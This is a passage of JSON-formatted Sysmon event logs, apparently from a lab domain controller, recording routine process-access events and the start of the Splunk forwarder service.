C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010CA0E0500}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010CA0E0500}","TargetProcessId":"888","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.113\r\nProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nProcessId: 5056\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.113","ProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 